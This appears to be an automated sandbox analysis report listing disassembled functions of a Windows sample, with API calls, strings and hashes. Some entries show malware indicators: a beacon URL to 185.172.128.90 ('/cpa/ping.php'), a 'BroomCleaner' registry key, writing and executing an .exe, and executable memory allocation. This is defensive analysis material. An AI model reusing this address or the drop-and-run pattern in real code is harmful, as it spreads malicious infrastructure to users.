Opcode ID: 975f7ae23b976af0f57ba7f63c5262953fac7c3e1b8646b278d3dfb303d0f39f
Instruction ID: 6253cfc56dbab61e205766efb0611ca8061eb8c5ebbdbf8fd01913e42387971c
Opcode Fuzzy Hash: 975f7ae23b976af0f57ba7f63c5262953fac7c3e1b8646b278d3dfb303d0f39f
Instruction Fuzzy Hash: A4A13632A041089FDF199F78D8517EE7BA1AB06324F14019EEC15EB391D7398DA2C79A

Uniqueness

Uniqueness Score: -1.00%

Function 004192AD Relevance: 13.8, APIs: 9, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e76cb713194fa4f728ec747c36cb0267ce7d8b1f5e695f35cd7f37fd194786d6
Instruction ID: c4abe014ee414803f6a4a6dca87339887fd42b2314c6943b79fa01ee0dc397dc
Opcode Fuzzy Hash: e76cb713194fa4f728ec747c36cb0267ce7d8b1f5e695f35cd7f37fd194786d6
Instruction Fuzzy Hash: 1CC13AB1E04249AFDB11CFA9C850BEE7BB1BF09314F04019AE954A7392C7389DC1CB69

Uniqueness

Uniqueness Score: -1.00%

Function 040E003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 040E024D

Strings

cess, xrefs: 040E018D
kernel32.dll, xrefs: 040E008F, 040E0095

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 4eee55cbddb62a7d2d131c3e4fda26c36aa478bcc72b3cf5aed0371c1545b236
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: A9528B74A00229DFDB64CF59C984BACBBB1BF09304F1480D9E94DAB351DB70AA95DF11

Uniqueness

Uniqueness Score: -1.00%

Function 0042628B Relevance: 12.3, APIs: 8, Instructions: 275
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 004262AD
CoCreateInstance.OLE32(00429220,00000000,00000001,00429210,?,?,?,?,?,?,?,?,?,?,?,/ping.php?substr=%s), ref: 004262C7
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 00426309
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00426311
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 00426338
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 0042634E
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00426355
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,00000000,00000000,?,?,00000000,?), ref: 0042637A

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString$CreateInitializeInstance
String ID:
API String ID: 3070066007-0
Opcode ID: ce133915acab1118794e9b5cd677c6d3f7326e3d37cb49b767c5506a71b1f5aa
Instruction ID: 83f5cca910cad30c2957a1169f386ac85e7f4b82ddc6b65933772462ec616701
Opcode Fuzzy Hash: ce133915acab1118794e9b5cd677c6d3f7326e3d37cb49b767c5506a71b1f5aa
Instruction Fuzzy Hash: 3A914B75A00218AFDB04DFA8D888AEEBBB9FF49314F544559F805EB241D776AC02CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0042615A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0042615F
RegCreateKeyExA.KERNEL32(80000001,SOFTWARE\BroomCleaner,00000000,00000000,00000000,000F003F,00000000,?,00000000,Installed,0043BED8,SOFTWARE\BroomCleaner), ref: 00426187
RegSetValueExA.KERNEL32(?,?,00000000,00000001,?,?,0043BED8,0043BED9,Installed,Installed), ref: 0042620A
RegCloseKey.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,185.172.128.90,/cpa/ping.php?substr=%s&s=ab&sub=%s,?), ref: 0042622B

Strings

Installed, xrefs: 00426169, 00426197, 004261B6, 004261B7
SOFTWARE\BroomCleaner, xrefs: 00426167, 0042617A

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: CloseCreateH_prologValue
String ID: Installed$SOFTWARE\BroomCleaner
API String ID: 1996196666-529226407
Opcode ID: 0b1f03838103bc79192dd29aecd11cdb4eee571ac517255c8300f4294fb95730
Instruction ID: 7631ba6f6479b49e2955b4a66f7b67ea7b8ea0f8d2650bf46820f955d15f7583
Opcode Fuzzy Hash: 0b1f03838103bc79192dd29aecd11cdb4eee571ac517255c8300f4294fb95730
Instruction Fuzzy Hash: F3319A71A00129EEDF149FA8DC94AFEBB78EB08348F44016EE80277281C7B11D05CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040187F Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 004018C9
std::system_error::system_error.LIBCPMT ref: 004018D8

Strings

ios_base::eofbit set, xrefs: 004018A0
ios_base::failbit set, xrefs: 0040189B, 004018D2
ios_base::badbit set, xrefs: 00401890, 004018B1

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: Exception@8Throwstd::system_error::system_error
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1589814233-1866435925
Opcode ID: 2b3e5ca4bc1d127b2dba606601132dddbbf971fcac2ee0ac16a13b9037fe9581
Instruction ID: e154b9f444e369befffee57ff699e9c141b04c4d0561678f3d19f5bf610271a8
Opcode Fuzzy Hash: 2b3e5ca4bc1d127b2dba606601132dddbbf971fcac2ee0ac16a13b9037fe9581
Instruction Fuzzy Hash: AEF0226280031CB7DB10BAA18C02FEA7B988F0A754F21C03BFD40361E0E77D5A0482ED

Uniqueness

Uniqueness Score: -1.00%

Function 00426510 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExA.SHELL32(?,.exe), ref: 00426552
WaitForSingleObject.KERNEL32(?,00008000), ref: 00426566
CloseHandle.KERNEL32(?), ref: 0042656F

Strings

.exe, xrefs: 0042651B

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: CloseExecuteHandleObjectShellSingleWait
String ID: .exe
API String ID: 3837156514-4119554291
Opcode ID: f62208f3743acdc8e07c19b13a12db9e2ae385e15dd7ae34529c06f65476a768
Instruction ID: 8ce7cd6e21d80bec1428d2ca161df36b0ad46b5534dc267783c352d5b9ba18c9
Opcode Fuzzy Hash: f62208f3743acdc8e07c19b13a12db9e2ae385e15dd7ae34529c06f65476a768
Instruction Fuzzy Hash: 1B015A31E00218ABDF15DFA9E8459DDBBB8FF08340F418126F801A6260EB709A45CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00426242 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000,?,.exe,00000000,?,?,0042590D,00000001,?,/ping.php?substr=%s), ref: 0042625D
WriteFile.KERNEL32(00000000,?,?,00000001,00000000,?,0042590D,00000001,?,/ping.php?substr=%s,?), ref: 00426275
FindCloseChangeNotification.KERNEL32(00000000,?,0042590D,00000001,?,/ping.php?substr=%s,?), ref: 0042627E

Strings

.exe, xrefs: 00426247

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: File$ChangeCloseCreateFindNotificationWrite
String ID: .exe
API String ID: 3805958096-4119554291
Opcode ID: b4d6c5e9e66e8ec20fd844d9cf3cc002c1ddea431dde195961cacbec5cc1c6d8
Instruction ID: 1160b3d028a4f0b3eb39880a7a2cc02b481a356c14d22bba427b687e2e61c155
Opcode Fuzzy Hash: b4d6c5e9e66e8ec20fd844d9cf3cc002c1ddea431dde195961cacbec5cc1c6d8
Instruction Fuzzy Hash: 19E06D72701224BBD7311B9AAC48FABBE6CEF86AA4F040165FB05D2110A6A1DC0197B8

Uniqueness

Uniqueness Score: -1.00%

Function 004163FD Relevance: 4.6, APIs: 3, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNEL32(00000000,00000000,?,?,0041631B,?,?,?,?,?,?,?,?,?,00427EC5,000000FF), ref: 00416453
GetLastError.KERNEL32(?,0041631B,?,?,?,?,?,?,?,?,?,00427EC5,000000FF), ref: 0041645D
__dosmaperr.LIBCMT ref: 00416488

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 1075a27ddf30369b5deee0cb8b3ecbf94400a03b09c6828824c0d216b820aa91
Instruction ID: 375721714d43bc4782e6a43c23cd9332c59ec42f2299351a345cb8f3503d09eb
Opcode Fuzzy Hash: 1075a27ddf30369b5deee0cb8b3ecbf94400a03b09c6828824c0d216b820aa91
Instruction Fuzzy Hash: EA014E3360412016D6256635E8457FF67599B82738F2B017FFD188B2D2EB6CDCC2819D

Uniqueness

Uniqueness Score: -1.00%

Function 00419767 Relevance: 4.6, APIs: 3, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000002,?,00000000,?,?,?,?,?,00419816,?,?,00000002,00000000), ref: 004197A0
GetLastError.KERNEL32(?,00419816,?,?,00000002,00000000,?,00416146,?,00000000,00000000,00000002,?,?,?,?), ref: 004197AA
__dosmaperr.LIBCMT ref: 004197B1

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: dad49dafcb6aaf0294d2e2872a6b63d175876bddee0454d410784651848899ac
Instruction ID: ffc3df5eb890e326191760c687c06a6ec256fa7eb9c4ce0b7ceac38b7dc3edc6
Opcode Fuzzy Hash: dad49dafcb6aaf0294d2e2872a6b63d175876bddee0454d410784651848899ac
Instruction Fuzzy Hash: 70012D36620119ABCB159F59DC059EE7B29DF85330B28024AFC219B2D0E6749C918798

Uniqueness

Uniqueness Score: -1.00%

Function 004264F9 Relevance: 4.5, APIs: 3, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(?), ref: 00426502
SysFreeString.OLEAUT32(?), ref: 00426507
CoUninitialize.OLE32 ref: 00426509

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: FreeString$Uninitialize
String ID:
API String ID: 1985688103-0
Opcode ID: 08deaeae2dcb7a0c46a1906be4fa29c42c893604feb1bbad5e888a8e6db489b5
Instruction ID: 20283bebf02f6add892787a5acbccff6c180d450b55e9b59979360a618d6bcd4
Opcode Fuzzy Hash: 08deaeae2dcb7a0c46a1906be4fa29c42c893604feb1bbad5e888a8e6db489b5
Instruction Fuzzy Hash: A6B09230D02029ABEF22AB62EE0D45C7F32FF40350F410061F405332308B351D22EE88

Uniqueness

Uniqueness Score: -1.00%

Function 00401BB2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00401BB7

Part of subcall function 0040307C: __EH_prolog.LIBCMT ref: 00403081

Part of subcall function 00402FE5: __EH_prolog.LIBCMT ref: 00402FEA
Part of subcall function 00402FE5: std::locale::_Init.LIBCPMT ref: 0040300E

Part of subcall function 00402F6B: __EH_prolog.LIBCMT ref: 00402F70

Part of subcall function 0040187F: __CxxThrowException@8.LIBVCRUNTIME ref: 004018C9
Part of subcall function 0040187F: std::system_error::system_error.LIBCPMT ref: 004018D8

Strings

v*@, xrefs: 00401BD0

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: H_prolog$Exception@8InitThrowstd::locale::_std::system_error::system_error
String ID: v*@
API String ID: 3966877926-3062513736
Opcode ID: 497657be53033261b67b0434a3cc26887958964f1d250a566e7946ea216817f5
Instruction ID: cee5f8951f4aa60660b8f0772aceb561b5f660f34992c4678438f01180239965
Opcode Fuzzy Hash: 497657be53033261b67b0434a3cc26887958964f1d250a566e7946ea216817f5
Instruction Fuzzy Hash: FC218EB1611106AFD708DF59C849A6AB7F9FF48348F14822EE116A7341C7B8DD008BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0042604A Relevance: 3.1, APIs: 2, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042604F

Part of subcall function 00401BB2: __EH_prolog.LIBCMT ref: 00401BB7

Part of subcall function 00402403: __EH_prolog.LIBCMT ref: 00402408

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00426131

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: H_prolog$Ios_base_dtorstd::ios_base::_
String ID:
API String ID: 420165198-0
Opcode ID: 2ccafb23c208dd6e33c94c9fad69460fbbd1af4e4676f70a9cd624bb09d9f0ce
Instruction ID: 115bff912634c1bae9a386948b342ebf01da51d0a41a8c3d45e1fed53d0017c0
Opcode Fuzzy Hash: 2ccafb23c208dd6e33c94c9fad69460fbbd1af4e4676f70a9cd624bb09d9f0ce
Instruction Fuzzy Hash: 3531F770D01119EBDB14EF95E985AEDFBB4FF48304F1081AEE405B3681DB786A04CB64

Uniqueness

Uniqueness Score: -1.00%

Function 040E0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,040E0223,?,?), ref: 040E0E19
SetErrorMode.KERNEL32(00000000,?,?,040E0223,?,?), ref: 040E0E1E

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 571ca3f8a475c502f6a29ac65725d9ad57a391f12c00d2f7e36e1117f77f8359
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 7ED0123114512877D7402A95DC09BDD7B5CDF05B62F008021FB0DE9180C7B0954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0041878B Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89ee0429e7c3b78fee215e5908ca075a1a99ef19cdf9331575feb5a3c314da26
Instruction ID: 7f647bd7b68c58480356602612fa02c60fce203f31c4afd0b56fb408a9d690c1
Opcode Fuzzy Hash: 89ee0429e7c3b78fee215e5908ca075a1a99ef19cdf9331575feb5a3c314da26
Instruction Fuzzy Hash: 2851F771A00108AFDB10DF69C840BFA7BA5EF85364F59815EE8489B392CB39DD82C795

Uniqueness

Uniqueness Score: -1.00%

Function 00401F2B Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00402008

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: dd9259938b701549e3a1f201eff00eebe2623ef1ec68c3af772c7781cc5ab522
Instruction ID: 92d79e160b507baa56e58511ea190f57013b3733b8d645c4d1d18e9f5b661b4d
Opcode Fuzzy Hash: dd9259938b701549e3a1f201eff00eebe2623ef1ec68c3af772c7781cc5ab522
Instruction Fuzzy Hash: EA317C31604706AFD710DE29C884A5ABBA0BF88354F04863FFD54A73A1D779D854CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004024A1 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004024A6

Part of subcall function 0040187F: __CxxThrowException@8.LIBVCRUNTIME ref: 004018C9
Part of subcall function 0040187F: std::system_error::system_error.LIBCPMT ref: 004018D8

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: Exception@8H_prologThrowstd::system_error::system_error
String ID:
API String ID: 938716162-0
Opcode ID: 0aad76d9ccdb38fc9716b0bd4f4ae1cc67668907333425d6879ac6c1d34db6e1
Instruction ID: 74f8325a11d62ea13fad7549c786a5ed5267532987f834d27d08a699b4d18117
Opcode Fuzzy Hash: 0aad76d9ccdb38fc9716b0bd4f4ae1cc67668907333425d6879ac6c1d34db6e1
Instruction Fuzzy Hash: C3318B71A00505AFCB18DF29C9D5EAAB7F5FF84318718C16EE416AB791C634EC00CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040257C Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402581

Part of subcall function 00402B06: __EH_prolog.LIBCMT ref: 00402B0B

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: cdffe7d94a9ad02bd4029dc2a0349a1809f7134020811f9c5978122157e34323
Instruction ID: 2a6667c304d01eacddf9d20035e77db0555498f4c479ac31cd54c3f05400b439
Opcode Fuzzy Hash: cdffe7d94a9ad02bd4029dc2a0349a1809f7134020811f9c5978122157e34323
Instruction Fuzzy Hash: D9319870A00615AFCB15DF09CA84A9EBBB1FF48314F14856EE415AB791C7B9ED40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402403 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402408

Part of subcall function 00402B06: __EH_prolog.LIBCMT ref: 00402B0B

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7ccbf68215674326e846e9e31825d79c5c502473ac86993a1b2e229bddcf8f14
Instruction ID: acc1f40cfc044376a2f11a90f6c11c43800a5431404741bf8f8bd34e997dcd85
Opcode Fuzzy Hash: 7ccbf68215674326e846e9e31825d79c5c502473ac86993a1b2e229bddcf8f14
Instruction Fuzzy Hash: 0F218E70601611DFC728DF15C54896ABBF5FF88314B10C26DE85A9B7A1C770EE41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0041AED0 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0041AF0E

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 77aa99f2f88df8cd4d36c2d0dc9640374021eb40fe0889f8d183050a52ea336c
Instruction ID: 1154e27c015a897812a0a5709c6716ad0e12ceb5b9437c51957f638709d22443
Opcode Fuzzy Hash: 77aa99f2f88df8cd4d36c2d0dc9640374021eb40fe0889f8d183050a52ea336c
Instruction Fuzzy Hash: 68114C71904209AFCF05DF58E9419DB7BF4EF48314F10409AF808AB311D631D9618BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040E1B2 Relevance: 1.5, APIs: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 701e18208b567a6bb177b1ccb661cbfd4effab1e33f914200ccb643209a10c45
Instruction ID: bb13e13d757cd37dfe0a4f239b5d8845d05e4a8eb61872b1cde1787caac163ea
Opcode Fuzzy Hash: 701e18208b567a6bb177b1ccb661cbfd4effab1e33f914200ccb643209a10c45
Instruction Fuzzy Hash: E4F0F93254061496D6213A6B9C0579B32AC9F92339F114BBFFC30A61C2CA7CE95246AE

Uniqueness

Uniqueness Score: -1.00%

Function 00402F6B Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402F70

Part of subcall function 004035F5: __EH_prolog.LIBCMT ref: 004035FA
Part of subcall function 004035F5: std::_Lockit::_Lockit.LIBCPMT ref: 00403609
Part of subcall function 004035F5: int.LIBCPMT ref: 00403620
Part of subcall function 004035F5: std::locale::_Getfacet.LIBCPMT ref: 00403629
Part of subcall function 004035F5: std::_Lockit::~_Lockit.LIBCPMT ref: 00403670

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: H_prologLockitstd::_$GetfacetLockit::_Lockit::~_std::locale::_
String ID:
API String ID: 3585332825-0
Opcode ID: 6af91489f422ab2b9346da6299f13020bb6ba693aa2f45747282a65afbb3964b
Instruction ID: 08e3709e77e7d1eb8e6a734fcd7c8cb2ed90b0a3f4c6ef6dd5fb35cf0d7a5197
Opcode Fuzzy Hash: 6af91489f422ab2b9346da6299f13020bb6ba693aa2f45747282a65afbb3964b
Instruction Fuzzy Hash: 80018F70A10114AFDB14EB25DA4ABAE77F9AF04708F00403EF405B76D1DBF8AE008B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1D1 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041A212

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 68fd172b046a401a07b87b6cc8e6e0eb4e84c281b2bbab5ff70b0aff8b290acd
Instruction ID: 12cd10f48dc7b96564373969defca7bad1702ec24c59837b56aad39c86ff4cfc
Opcode Fuzzy Hash: 68fd172b046a401a07b87b6cc8e6e0eb4e84c281b2bbab5ff70b0aff8b290acd
Instruction Fuzzy Hash: AFF09A32511119BBCF005E96DC02CDA3B6EEF89334F100156F91492150DA3ADD60A7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00417A45 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0041B3A4,00000000,?,00410DD1,?,00000008,?,0041197C,?,?,?), ref: 00417A77

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b75641747b422377c90d67b6dee4493775f18ffac96cc9d64fbbcf0dcb9ea88a
Instruction ID: 1d8c2cfb616aaf75abf93827710d27348e1db2613881ba842acdabaabffa5ab7
Opcode Fuzzy Hash: b75641747b422377c90d67b6dee4493775f18ffac96cc9d64fbbcf0dcb9ea88a
Instruction Fuzzy Hash: 4BE0A03168822557A72026629C04BDF6669AF417E0F150223AC04962A0CB6C8FD181ED

Uniqueness

Uniqueness Score: -1.00%

Function 00419F10 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00419F2D

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ec085ca9659a0f56eb08fe4c6845a4ad54c8fcd842bd73b4fead1427a61b2733
Instruction ID: 9d2ef54cfd7c3626aa2ff180f2ecc7fa707dd95b0fec4855ab8d986de787a24b
Opcode Fuzzy Hash: ec085ca9659a0f56eb08fe4c6845a4ad54c8fcd842bd73b4fead1427a61b2733
Instruction Fuzzy Hash: E9D06C3210010DBBDF128F85DC06EDA3BAAFB4C714F014010FA1856020C732E832EB94

Uniqueness

Uniqueness Score: -1.00%

Function 041856D5 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 04185726

Memory Dump Source

Source File: 00000006.00000002.2388126595.0000000004185000.00000040.00000020.00020000.00000000.sdmp, Offset: 04185000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4185000_i1.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 493753cd8a626b9dd8f2dc4ee53a437dfbbf482079a61963cba71755788b49b4
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 77112A79A00208EFDB01DF98C985E98BBF5EB08350F0580A4F9489B362D771EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04104C75 Relevance: 48.5, APIs: 2, Strings: 25, Instructions: 1237COMMON

Download Yara Rule

APIs

Part of subcall function 04106823: __EH_prolog.LIBCMT ref: 04106828

GetModuleFileNameA.KERNEL32(00000000,?,00000104,0043BEDC), ref: 04104D3B

Part of subcall function 041062B1: __EH_prolog.LIBCMT ref: 041062B6
Part of subcall function 041062B1: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 04106398

Strings

iC, xrefs: 04105E24
